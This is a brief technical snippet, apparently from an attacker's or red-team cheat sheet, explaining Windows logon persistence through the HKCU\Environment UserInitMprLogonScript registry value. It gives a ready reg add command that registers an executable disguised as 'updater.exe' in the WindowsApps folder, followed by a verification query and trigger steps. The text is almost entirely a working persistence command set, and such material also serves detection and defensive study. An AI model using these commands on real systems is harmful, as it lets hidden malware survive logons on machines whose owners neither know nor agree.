HKCU\Environment\UserInitMprLogonScript runs when the user logs on. This is current-user persistence.
reg add HKCU\Environment /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%LOCALAPPDATA%\Microsoft\WindowsApps\updater.exe" /f
Verify:
reg query HKCU\Environment /v UserInitMprLogonScript
Trigger by logging off and logging back in as that user.